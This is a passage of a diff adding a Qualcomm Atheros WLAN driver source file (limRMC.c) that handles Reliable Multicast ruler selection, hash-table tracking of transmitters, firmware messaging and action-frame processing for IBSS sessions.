CONTRACT, NEGLIGENCE OR OTHER + * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR + * PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * This file was originally distributed by Qualcomm Atheros, Inc. + * under proprietary terms before Copyright ownership was assigned + * to the Linux Foundation. + */ + +/* + * This file limRMC.c contains the code + * for processing RMC messages + * + */ +#include "wniApi.h" +#include "wniCfg.h" +#include "cfgApi.h" +#include "sirApi.h" +#include "schApi.h" +#include "utilsApi.h" +#include "limUtils.h" +#include "limTimerUtils.h" +#include "limSendMessages.h" +#include "limSendMessages.h" +#include "limSession.h" +#include "limSessionUtils.h" +#include "wlan_qct_wda.h" +#include "wlan_qct_tli.h" +#include "limRMC.h" + +#ifdef WLAN_FEATURE_RMC + +static tANI_U8 +__rmcGroupHashFunction(tSirMacAddr transmitter) +{ + tANI_U16 hash; + + /* + * Generate a hash using transmitter address + */ + hash = transmitter[0] + transmitter[1] + transmitter[2] + + transmitter[3] + transmitter[4] + transmitter[5]; + + return hash & (RMC_MCAST_GROUPS_HASH_SIZE - 1); +} + + +static tLimRmcGroupContext * +__rmcGroupLookupHashEntry(tpAniSirGlobal pMac, tSirMacAddr transmitter) +{ + tANI_U8 index; + tLimRmcGroupContext *entry; + + index = __rmcGroupHashFunction(transmitter); + + /* Pick the correct hash table based on role */ + entry = pMac->rmcContext.rmcGroupRxHashTable[index]; + + PELOG1(limLog(pMac, LOG1, FL("RMC: Hash Lookup:[%d] transmitter " + MAC_ADDRESS_STR ), index, + MAC_ADDR_ARRAY(transmitter));) + while (entry) + { + if (vos_mem_compare(transmitter, entry->transmitter, + sizeof(v_MACADDR_t))) + { + return entry; + } + + entry = entry->next; + } + + return NULL; +} + +static tLimRmcGroupContext * +__rmcGroupInsertHashEntry(tpAniSirGlobal pMac, tSirMacAddr transmitter) +{ + tANI_U8 index; + tLimRmcGroupContext *entry; + tLimRmcGroupContext **head; + + index = __rmcGroupHashFunction(transmitter); + + PELOG1(limLog(pMac, LOG1, FL("RMC: Hash Insert:[%d] group " MAC_ADDRESS_STR + " transmitter " MAC_ADDRESS_STR), index, + MAC_ADDR_ARRAY(mcastGroupAddr), + MAC_ADDR_ARRAY(transmitter));) + + head = &pMac->rmcContext.rmcGroupRxHashTable[index]; + + entry = __rmcGroupLookupHashEntry(pMac, transmitter); + + if (entry) + { + /* If the entry exists, return it at the end */ + PELOGE(limLog(pMac, LOGE, FL("RMC: Hash Insert:" + MAC_ADDRESS_STR "exists"), MAC_ADDR_ARRAY(transmitter));) + } + else + { + entry = (tLimRmcGroupContext *)vos_mem_malloc(sizeof(*entry)); + + PELOG1(limLog(pMac, LOG1, FL("RMC: Hash Insert:new entry %p"), entry);) + + if (entry) + { + vos_mem_copy(entry->transmitter, transmitter, sizeof(tSirMacAddr)); + entry->isRuler = eRMC_IS_NOT_A_RULER; + + /* chain this entry */ + entry->next = *head; + *head = entry; + } + else + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Hash Insert:" MAC_ADDRESS_STR + " alloc failed"), MAC_ADDR_ARRAY(transmitter));) + } + } + + return entry; +} + +/** + * __rmcGroupDeleteHashEntry() + * + *FUNCTION: + * This function is called to delete a RMC group entry + * + *LOGIC: + * + *ASSUMPTIONS: + * Should be called with lkRmcLock held. + * + *NOTE: + * Make sure (for the transmitter role) that the entry is + * not in the Pending Response queue. + * + * @param transmitter - address of multicast transmitter + * + * @return status + */ +static tSirRetStatus +__rmcGroupDeleteHashEntry(tpAniSirGlobal pMac, tSirMacAddr transmitter) +{ + tSirRetStatus status = eSIR_FAILURE; + tANI_U8 index; + tLimRmcGroupContext *entry, *prev, **head; + + index = __rmcGroupHashFunction(transmitter); + + head = &pMac->rmcContext.rmcGroupRxHashTable[index]; + entry = *head; + prev = NULL; + + while (entry) + { + if (vos_mem_compare(transmitter, entry->transmitter, + sizeof(v_MACADDR_t))) + { + if (*head == entry) + { + *head = entry->next; + } + else + { + prev->next = entry->next; + } + + PELOG1(limLog(pMac, LOG1, FL("RMC: Hash Delete: entry %p " + " transmitter " MAC_ADDRESS_STR), entry + MAC_ADDR_ARRAY(transmitter));) + + /* free the group entry */ + vos_mem_free(entry); + + status = eSIR_SUCCESS; + break; + } + + prev = entry; + entry = entry->next; + } + + return status; +} + +static void +__rmcGroupDeleteAllEntries(tpAniSirGlobal pMac) +{ + tLimRmcGroupContext *entry, **head; + int index; + + PELOG1(limLog(pMac, LOG1, FL("RMC: Hash_Delete_All"),);) + + for (index = 0; index < RMC_MCAST_GROUPS_HASH_SIZE; index++) + { + head = &pMac->rmcContext.rmcGroupRxHashTable[index]; + + entry = *head; + + while (entry) + { + *head = entry->next; + /* free the group entry */ + vos_mem_free(entry); + entry = *head; + } + } +} + +static void +__limPostMsgRulerReq ( tpAniSirGlobal pMac, + tANI_U8 cmd, + tSirMacAddr mcastTransmitter) +{ + tSirMsgQ msg; + tSirRmcRulerReq *pRulerReq; + + pRulerReq = vos_mem_malloc(sizeof(*pRulerReq)); + if (NULL == pRulerReq) + { + limLog(pMac, LOGE, FL("AllocateMemory() failed")); + return; + } + + pRulerReq->cmd = cmd; + + vos_mem_copy(pRulerReq->mcastTransmitter, mcastTransmitter, + sizeof(tSirMacAddr)); + + /* Initialize black list */ + vos_mem_zero(pRulerReq->blacklist, sizeof(pRulerReq->blacklist)); + + if (eRMC_SUGGEST_RULER_CMD == cmd) + { + /* TODO - Set the black list. */ + } + + msg.type = WDA_RMC_RULER_REQ; + msg.bodyptr = pRulerReq; + msg.bodyval = 0; + + MTRACE(macTraceMsgTx(pMac, NO_SESSION, msg.type)); + if (eSIR_SUCCESS != wdaPostCtrlMsg(pMac, &msg)) + { + vos_mem_free(pRulerReq); + limLog(pMac, LOGE, FL("wdaPostCtrlMsg() failed")); + } + + return; +} + +static void +__limPostMsgUpdateInd ( tpAniSirGlobal pMac, + tANI_U8 indication, + tANI_U8 role, + tSirMacAddr mcastTransmitter, + tSirMacAddr mcastRuler) +{ + tSirMsgQ msg; + tSirRmcUpdateInd *pUpdateInd; + + pUpdateInd = vos_mem_malloc(sizeof(*pUpdateInd)); + if ( NULL == pUpdateInd ) + { + limLog(pMac, LOGE, FL("AllocateMemory() failed")); + return; + } + + vos_mem_zero(pUpdateInd, sizeof(*pUpdateInd)); + + pUpdateInd->indication = indication; + pUpdateInd->role = role; + + vos_mem_copy(pUpdateInd->mcastTransmitter, + mcastTransmitter, sizeof(tSirMacAddr)); + + vos_mem_copy(pUpdateInd->mcastRuler, + mcastRuler, sizeof(tSirMacAddr)); + + msg.type = WDA_RMC_UPDATE_IND; + msg.bodyptr = pUpdateInd; + msg.bodyval = 0; + + MTRACE(macTraceMsgTx(pMac, NO_SESSION, msg.type)); + if (eSIR_SUCCESS != wdaPostCtrlMsg(pMac, &msg)) + { + vos_mem_free(pUpdateInd); + limLog(pMac, LOGE, FL("wdaPostCtrlMsg() failed")); + } + + return; +} + +static char * +__limRulerMessageToString(eRmcMessageType msgType) +{ + switch (msgType) + { + default: + return "Invalid"; + case eLIM_RMC_ENABLE_REQ: + return "RMC_ENABLE_REQ"; + case eLIM_RMC_DISABLE_REQ: + return "RMC_DISABLE_REQ"; + case eLIM_RMC_RULER_SELECT_RESP: + return "RMC_RULER_SELECT_RESP"; + case eLIM_RMC_RULER_PICK_NEW: + return "RMC_RULER_PICK_NEW"; + case eLIM_RMC_OTA_RULER_INFORM_ACK: + return "RMC_OTA_RULER_INFORM_ACK"; + case eLIM_RMC_OTA_RULER_INFORM_SELECTED: + return "RMC_OTA_RULER_INFORM_SELECTED"; + case eLIM_RMC_BECOME_RULER_RESP: + return "RMC_BECOME_RULER_RESP"; + case eLIM_RMC_OTA_RULER_INFORM_CANCELLED: + return "RMC_OTA_RULER_INFORM_CANCELLED"; + } +} + +static char * +__limRulerStateToString(eRmcRulerState state) +{ + switch (state) + { + default: + return "Invalid"; + case eRMC_IS_NOT_A_RULER: + return "Device Not a Ruler"; + case eRMC_RULER_PENDING: + return "Pending firmware resp"; + case eRMC_IS_A_RULER: + return "Device is Ruler"; + } +} + +static char * +__limMcastTxStateToString(eRmcMcastTxState state) +{ + switch (state) + { + default: + return "Invalid"; + case eRMC_RULER_NOT_SELECTED: + return "Not Selected"; + case eRMC_RULER_ENABLE_REQUESTED: + return "Enable Requested"; + case eRMC_RULER_OTA_REQUEST_SENT: + return "OTA Request Sent"; + case eRMC_RULER_ACTIVE: + return "Active"; + } +} + +/** + * __rmcRulerSelectTimerHandler() + * + *FUNCTION: + * This function is called upon timer expiry. + * + * + *ASSUMPTIONS: + * NA + * + *NOTE: + * Only one entry is processed for every invocation if this routine. + * This allows us to use a single timer and makes sure we do not + * timeout a request too early. + * + * @param param - Message corresponding to the timer that expired + * + * @return None + */ + +void +__rmcRulerSelectTimerHandler(void *pMacGlobal, tANI_U32 param) +{ + tpAniSirGlobal pMac = (tpAniSirGlobal)pMacGlobal; + tSirMacAddr zeroMacAddr = { 0, 0, 0, 0, 0, 0 }; + tSirRetStatus status; + tSirRMCInfo RMC; + tpPESession psessionEntry; + tANI_U32 cfgValue; + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:__rmcRulerSelectTimerHandler:No active IBSS"));) + return; + } + + if (wlan_cfgGetInt(pMac, WNI_CFG_RMC_ACTION_PERIOD_FREQUENCY, + &cfgValue) != eSIR_SUCCESS) + { + /** + * Could not get Action Period Frequency value + * from CFG. Log error. + */ + limLog(pMac, LOGE, FL("could not retrieve ActionPeriodFrequency")); + } + + cfgValue = SYS_MS_TO_TICKS(cfgValue); + + if (pMac->rmcContext.rmcTimerValInTicks != cfgValue) + { + limLog(pMac, LOG1, FL("RMC RulerSelect timer value changed")); + if (tx_timer_change(&pMac->rmcContext.gRmcRulerSelectTimer, + cfgValue, 0) != TX_SUCCESS) + { + limLog(pMac, LOGE, + FL("Unable to change RulerSelect Timer val")); + } + pMac->rmcContext.rmcTimerValInTicks = cfgValue; + } + + /* + * If we are in the scanning state then we need to return + * from this function without any further processing + */ + if (eLIM_HAL_SCANNING_STATE == pMac->lim.gLimHalScanState) + { + limLog(pMac, LOG1, FL("In scanning state, can't send action frm")); + if (tx_timer_activate(&pMac->rmcContext.gRmcRulerSelectTimer) != + TX_SUCCESS) + { + limLog(pMac, LOGE, FL("In scanning state, " + "couldn't activate RMC RulerSelect timer")); + } + return; + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("__rmcRulerSelectTimerHandler lock acquire failed")); + if (tx_timer_activate(&pMac->rmcContext.gRmcRulerSelectTimer)!= TX_SUCCESS) + { + limLog(pMac, LOGE, FL("could not activate RMC RulerSelect timer")); + } + return; + } + + vos_mem_copy(&RMC.mcastRuler, &pMac->rmcContext.ruler, + sizeof(tSirMacAddr)); + + if (VOS_FALSE == vos_mem_compare(&zeroMacAddr, + &pMac->rmcContext.ruler, sizeof(tSirMacAddr))) + { + limLog(pMac, LOG1, + FL("RMC Periodic Ruler_Select Ruler " MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(pMac->rmcContext.ruler)); + /* + * Re-arm timer + */ + if (tx_timer_activate(&pMac->rmcContext.gRmcRulerSelectTimer)!= + TX_SUCCESS) + { + limLog(pMac, LOGE, FL("could not activate RMC Response timer")); + } + + if (!VOS_IS_STATUS_SUCCESS + (vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: __rmcRulerSelectTimerHandler lock release failed")); + } + } + else + { + limLog(pMac, LOGE, + FL("RMC Deactivating timer because no ruler was selected")); + + if (!VOS_IS_STATUS_SUCCESS + (vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: __rmcRulerSelectTimerHandler lock release failed")); + } + + return; + } + + RMC.dialogToken = 0; + RMC.action = SIR_MAC_RMC_RULER_INFORM_SELECTED; + + status = limSendRMCActionFrame(pMac, + SIR_MAC_RMC_MCAST_ADDRESS, + &RMC, + psessionEntry); + + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:__rmcRulerSelectTimerHandler Action frame send failed"));) + } + + return; +} + +static void +__limProcessRMCEnableRequest(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tSirSetRMCReq *setRmcReq = (tSirSetRMCReq *)pMsgBuf; + tpPESession psessionEntry; + + if (!setRmcReq) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Enable:NULL message") );) + return; + } + + pMac->rmcContext.rmcEnabled = TRUE; + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Enable RMC request no active IBSS"));) + pMac->rmcContext.state = eRMC_RULER_NOT_SELECTED; + return; + } + + /* Send RULER_REQ to f/w */ + __limPostMsgRulerReq(pMac, eRMC_SUGGEST_RULER_CMD, + setRmcReq->mcastTransmitter); + + pMac->rmcContext.state = eRMC_RULER_ENABLE_REQUESTED; +} + +static void +__limProcessRMCDisableRequest(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tpPESession psessionEntry; + tSirRMCInfo RMC; + tSirSetRMCReq *setRmcReq = (tSirSetRMCReq *)pMsgBuf; + tSirRetStatus status; + v_PVOID_t pvosGCtx; + VOS_STATUS vos_status; + v_MACADDR_t vosMcastTransmitter; + + pMac->rmcContext.rmcEnabled = FALSE; + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Disable:No active IBSS"));) + return; + } + + if (!setRmcReq) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Disable:NULL message") );) + return; + } + + /* Cancel pending timer */ + tx_timer_deactivate(&pMac->rmcContext.gRmcRulerSelectTimer); + + vosMcastTransmitter.bytes[0] = psessionEntry->selfMacAddr[0]; + vosMcastTransmitter.bytes[1] = psessionEntry->selfMacAddr[1]; + vosMcastTransmitter.bytes[2] = psessionEntry->selfMacAddr[2]; + vosMcastTransmitter.bytes[3] = psessionEntry->selfMacAddr[3]; + vosMcastTransmitter.bytes[4] = psessionEntry->selfMacAddr[4]; + vosMcastTransmitter.bytes[5] = psessionEntry->selfMacAddr[5]; + + pvosGCtx = vos_get_global_context(VOS_MODULE_ID_PE, (v_VOID_t *) pMac); + vos_status = WLANTL_DisableRMC(pvosGCtx, &vosMcastTransmitter); + + if (VOS_STATUS_SUCCESS != vos_status) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Disable: TL disable failed"));) + } + + if (pMac->rmcContext.state == eRMC_RULER_ACTIVE) + { + RMC.dialogToken = 0; + RMC.action = SIR_MAC_RMC_RULER_INFORM_CANCELLED; + vos_mem_copy(&RMC.mcastRuler, &pMac->rmcContext.ruler, sizeof(tSirMacAddr)); + + status = limSendRMCActionFrame(pMac, pMac->rmcContext.ruler, + &RMC, psessionEntry); + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Disable: Action frame send failed"));) + } + + pMac->rmcContext.state = eRMC_RULER_NOT_SELECTED; + } + + __limPostMsgUpdateInd(pMac, eRMC_RULER_CANCELLED, eRMC_TRANSMITTER_ROLE, + setRmcReq->mcastTransmitter, pMac->rmcContext.ruler); + + vos_mem_zero(pMac->rmcContext.ruler, sizeof(tSirMacAddr)); + +} + +static void +__limProcessRMCRulerSelectResponse(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tSirRmcRulerSelectInd *pRmcRulerSelectInd; + tpPESession psessionEntry; + tSirRetStatus status; + v_PVOID_t pvosGCtx; + VOS_STATUS vos_status; + v_MACADDR_t vosMcastTransmitter; + tSirRMCInfo RMC; + + if (NULL == pMsgBuf) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Select_Resp:NULL message"));) + return; + } + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Ruler_Select_Resp:No active IBSS"));) + pMac->rmcContext.state = eRMC_RULER_NOT_SELECTED; + return; + } + + pRmcRulerSelectInd = (tSirRmcRulerSelectInd *)pMsgBuf; + + if (pMac->rmcContext.state != eRMC_RULER_ENABLE_REQUESTED) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Select_Resp:Bad state %s"), + __limMcastTxStateToString(pMac->rmcContext.state) );) + return; + } + + if (pRmcRulerSelectInd->status) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Ruler_Select_Resp:FW Status %d"), + pRmcRulerSelectInd->status);) + pMac->rmcContext.state = eRMC_RULER_NOT_SELECTED; + return; + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, FL("RMC:Ruler_Select_Resp:lock acquire failed")); + pMac->rmcContext.state = eRMC_RULER_NOT_SELECTED; + return; + } + + vos_mem_copy(&pMac->rmcContext.ruler, &pRmcRulerSelectInd->ruler[0], + sizeof(tSirMacAddr)); + + if (!VOS_IS_STATUS_SUCCESS + (vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, FL("RMC: Ruler_Select_Resp: lock release failed")); + } + + RMC.dialogToken = 0; + RMC.action = SIR_MAC_RMC_RULER_INFORM_SELECTED; + vos_mem_copy(&RMC.mcastRuler, &pRmcRulerSelectInd->ruler[0], + sizeof(tSirMacAddr)); + + PELOG1(limLog(pMac, LOG1, FL("RMC: Ruler_Select :ruler " MAC_ADDRESS_STR), + MAC_ADDR_ARRAY(pRmcRulerSelectInd->ruler[0]));) + + status = limSendRMCActionFrame(pMac, + SIR_MAC_RMC_MCAST_ADDRESS, + &RMC, + psessionEntry); + + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Ruler_Select_Resp: Action send failed"));) + } + + __limPostMsgUpdateInd(pMac, eRMC_RULER_ACCEPTED, eRMC_TRANSMITTER_ROLE, + psessionEntry->selfMacAddr, pMac->rmcContext.ruler); + + vosMcastTransmitter.bytes[0] = psessionEntry->selfMacAddr[0]; + vosMcastTransmitter.bytes[1] = psessionEntry->selfMacAddr[1]; + vosMcastTransmitter.bytes[2] = psessionEntry->selfMacAddr[2]; + vosMcastTransmitter.bytes[3] = psessionEntry->selfMacAddr[3]; + vosMcastTransmitter.bytes[4] = psessionEntry->selfMacAddr[4]; + vosMcastTransmitter.bytes[5] = psessionEntry->selfMacAddr[5]; + + /* Enable TL */ + pvosGCtx = vos_get_global_context(VOS_MODULE_ID_PE, (v_VOID_t *) pMac); + vos_status = WLANTL_EnableRMC(pvosGCtx, &vosMcastTransmitter); + + pMac->rmcContext.state = eRMC_RULER_ACTIVE; + + if (tx_timer_activate(&pMac->rmcContext.gRmcRulerSelectTimer)!= TX_SUCCESS) + { + limLog(pMac, LOGE, + FL("Ruler_Select_Resp:Activate RMC Response timer failed")); + } +} + +static void +__limProcessRMCRulerPickNew(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tSirRmcUpdateInd *pRmcUpdateInd; + tpPESession psessionEntry; + tSirRetStatus status; + tSirRMCInfo RMC; + v_PVOID_t pvosGCtx; + VOS_STATUS vos_status; + v_MACADDR_t vosMcastTransmitter; + tSirMacAddr zeroMacAddr = { 0, 0, 0, 0, 0, 0 }; + + if (NULL == pMsgBuf) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Pick_New:NULL message"));) + return; + } + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Pick_New:No active IBSS"));) + return; + } + + pvosGCtx = vos_get_global_context(VOS_MODULE_ID_PE, (v_VOID_t *) pMac); + + pRmcUpdateInd = (tSirRmcUpdateInd *)pMsgBuf; + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, FL("RMC:Ruler_Pick_New:lock acquire failed")); + return; + } + + + /* Fill out Action frame parameters */ + RMC.dialogToken = 0; + + if (VOS_FALSE == vos_mem_compare(&zeroMacAddr, + &pRmcUpdateInd->mcastRuler, + sizeof(tSirMacAddr))) + { + + vos_mem_copy(&RMC.mcastRuler, &pRmcUpdateInd->mcastRuler, + sizeof(tSirMacAddr)); + + RMC.action = SIR_MAC_RMC_RULER_INFORM_CANCELLED; + status = limSendRMCActionFrame(pMac, + pRmcUpdateInd->mcastRuler, + &RMC, psessionEntry); + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:Ruler_Pick_New: Inform_Cancel Action send failed"));) + goto done; + } + + vosMcastTransmitter.bytes[0] = psessionEntry->selfMacAddr[0]; + vosMcastTransmitter.bytes[1] = psessionEntry->selfMacAddr[1]; + vosMcastTransmitter.bytes[2] = psessionEntry->selfMacAddr[2]; + vosMcastTransmitter.bytes[3] = psessionEntry->selfMacAddr[3]; + vosMcastTransmitter.bytes[4] = psessionEntry->selfMacAddr[4]; + vosMcastTransmitter.bytes[5] = psessionEntry->selfMacAddr[5]; + + vos_status = WLANTL_DisableRMC(pvosGCtx, &vosMcastTransmitter); + + if (VOS_STATUS_SUCCESS != vos_status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:Ruler_Pick_New: TL disable failed"));) + } + } + + vos_mem_copy(pMac->rmcContext.ruler, pRmcUpdateInd->ruler[0], + sizeof(tSirMacAddr)); + + pMac->rmcContext.state = eRMC_RULER_NOT_SELECTED; + + if (VOS_TRUE == vos_mem_compare(&zeroMacAddr, + pMac->rmcContext.ruler, + sizeof(tSirMacAddr))) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:Ruler_Pick_New: No candidate rulers available"));) + goto done; + } + + + RMC.action = SIR_MAC_RMC_RULER_INFORM_SELECTED; + vos_mem_copy(&RMC.mcastRuler, &pMac->rmcContext.ruler, + sizeof(tSirMacAddr)); + status = limSendRMCActionFrame(pMac, SIR_MAC_RMC_MCAST_ADDRESS, + &RMC, psessionEntry); + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:Ruler_Pick_New: Inform_Selected Action send failed"));) + goto done; + } + + __limPostMsgUpdateInd(pMac, eRMC_RULER_ACCEPTED, eRMC_TRANSMITTER_ROLE, + psessionEntry->selfMacAddr, pMac->rmcContext.ruler); + + vosMcastTransmitter.bytes[0] = psessionEntry->selfMacAddr[0]; + vosMcastTransmitter.bytes[1] = psessionEntry->selfMacAddr[1]; + vosMcastTransmitter.bytes[2] = psessionEntry->selfMacAddr[2]; + vosMcastTransmitter.bytes[3] = psessionEntry->selfMacAddr[3]; + vosMcastTransmitter.bytes[4] = psessionEntry->selfMacAddr[4]; + vosMcastTransmitter.bytes[5] = psessionEntry->selfMacAddr[5]; + + /* Enable TL */ + vos_status = WLANTL_EnableRMC(pvosGCtx, &vosMcastTransmitter); + + if (VOS_STATUS_SUCCESS != vos_status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:Ruler_Pick_New: TL enable failed"));) + goto done; + } + + pMac->rmcContext.state = eRMC_RULER_ACTIVE; + + if (tx_timer_activate(&pMac->rmcContext.gRmcRulerSelectTimer)!= TX_SUCCESS) + { + limLog(pMac, LOGE, + FL("Ruler_Pick_New:Activate RMC Response timer failed")); + } + +done: + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: Ruler_Pick_New: lock release failed")); + } +} + +static void +__limProcessRMCRulerInformSelected(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tpSirMacMgmtHdr pHdr; + tANI_U8 *pFrameData; + tANI_U32 frameLen; + tLimRmcGroupContext *entry; + tpPESession psessionEntry; + tSirRetStatus status; + + if (!pMsgBuf) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Inform:NULL msg"));) + return; + } + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Become_Ruler_Resp:No active IBSS"));) + return; + } + + /* + * Get the frame header + */ + pHdr = WDA_GET_RX_MAC_HEADER((tANI_U8 *)pMsgBuf); + + frameLen = WDA_GET_RX_PAYLOAD_LEN((tANI_U8 *)pMsgBuf); + if (frameLen < sizeof(tSirMacIbssExtNetworkFrameHdr)) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Ruler_Inform:Bad length %d "), frameLen);) + return; + } + + pFrameData = WDA_GET_RX_MPDU_DATA((tANI_U8 *)pMsgBuf) + + sizeof(tSirMacIbssExtNetworkFrameHdr); + + if (!pFrameData) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Inform:NULL data"));) + return; + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, FL("RMC:Become_Ruler_Resp:lock acquire failed")); + return; + } + + /* + * Check if this transmitter exists in our database. + */ + entry = __rmcGroupLookupHashEntry(pMac, pHdr->sa); + + if (VOS_FALSE == vos_mem_compare(pFrameData, psessionEntry->selfMacAddr, + sizeof(tSirMacAddr))) + { + if (entry) + { + PELOG1(limLog(pMac, LOG1, + FL("RMC: Ruler_Inform: Ruler Cancelled"));) + + __limPostMsgUpdateInd(pMac, eRMC_RULER_CANCELLED, + eRMC_RULER_ROLE, pHdr->sa, psessionEntry->selfMacAddr); + + /* + * Delete hash entry for this Group address. + */ + status = __rmcGroupDeleteHashEntry(pMac, pHdr->sa); + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Ruler_Inform:hash delete failed"));) + } + } + } + else + { + if (NULL == entry) + { + /* Add the transmitter address to the hash */ + entry = __rmcGroupInsertHashEntry(pMac, pHdr->sa); + if (entry) + { + if (entry->isRuler != eRMC_RULER_PENDING) + { + __limPostMsgRulerReq(pMac, eRMC_BECOME_RULER_CMD, + pHdr->sa); + entry->isRuler = eRMC_RULER_PENDING; + } + } + else + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Ruler_Inform:Hash insert failed"));) + } + + } + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: Ruler_Inform: lock release failed")); + } + +} + +static void +__limProcessRMCBecomeRulerResp(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tSirRmcBecomeRulerInd *pRmcBecomeRulerInd; + tLimRmcGroupContext *entry; + tSirRetStatus status = eSIR_SUCCESS; + + if (NULL == pMsgBuf) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Become_Ruler_Resp:NULL message"));) + return; + } + + pRmcBecomeRulerInd = (tSirRmcBecomeRulerInd *)pMsgBuf; + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_acquire(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, FL("RMC:Become_Ruler_Resp:lock acquire failed")); + return; + } + + /* + * Find the entry for this Group Address. + */ + entry = __rmcGroupLookupHashEntry(pMac, + pRmcBecomeRulerInd->mcastTransmitter); + if (NULL == entry) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Become_Ruler_Resp: No entry"));) + goto done; + } + + if (pRmcBecomeRulerInd->status) + { + PELOGE(limLog(pMac, LOGE, FL("RMC:Become_Ruler_Resp:FW Status %d"), + pRmcBecomeRulerInd->status);) + status = eSIR_FAILURE; + goto done; + } + + if (entry->isRuler != eRMC_RULER_PENDING) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Become_Ruler_Resp:Bad state: %s"), + __limRulerStateToString(entry->isRuler) );) + status = eSIR_FAILURE; + goto done; + } + + entry->isRuler = eRMC_IS_A_RULER; + +done: + if (eSIR_FAILURE == status) + { + status = __rmcGroupDeleteHashEntry(pMac, + pRmcBecomeRulerInd->mcastTransmitter); + if (eSIR_FAILURE == status) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Become_Ruler_Resp:hash delete failed"));) + } + } + + if (!VOS_IS_STATUS_SUCCESS(vos_lock_release(&pMac->rmcContext.lkRmcLock))) + { + limLog(pMac, LOGE, + FL("RMC: Become_Ruler_Resp: lock release failed")); + } + + return; +} + +static void +__limProcessRMCRulerInformCancelled(tpAniSirGlobal pMac, tANI_U32 *pMsgBuf) +{ + tpSirMacMgmtHdr pHdr; + tANI_U8 *pFrameData; + tANI_U32 frameLen; + tSirRetStatus status; + tLimRmcGroupContext *entry; + tpPESession psessionEntry; + + if (!pMsgBuf) + { + PELOGE(limLog(pMac, LOGE, FL("RMC: Ruler_Inform_Cancel:NULL msg"));) + return; + } + + /* + * This API relies on a single active IBSS session. + */ + psessionEntry = limIsIBSSSessionActive(pMac); + if (NULL == psessionEntry) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC:Ruler_Inform_Cancel:No active IBSS"));) + return; + } + + pHdr = WDA_GET_RX_MAC_HEADER((tANI_U8 *)pMsgBuf); + + frameLen = WDA_GET_RX_PAYLOAD_LEN((tANI_U8 *)pMsgBuf); + if (frameLen < sizeof(tSirMacIbssExtNetworkFrameHdr)) + { + PELOGE(limLog(pMac, LOGE, + FL("RMC: Ruler_Inform:Bad length %d "), 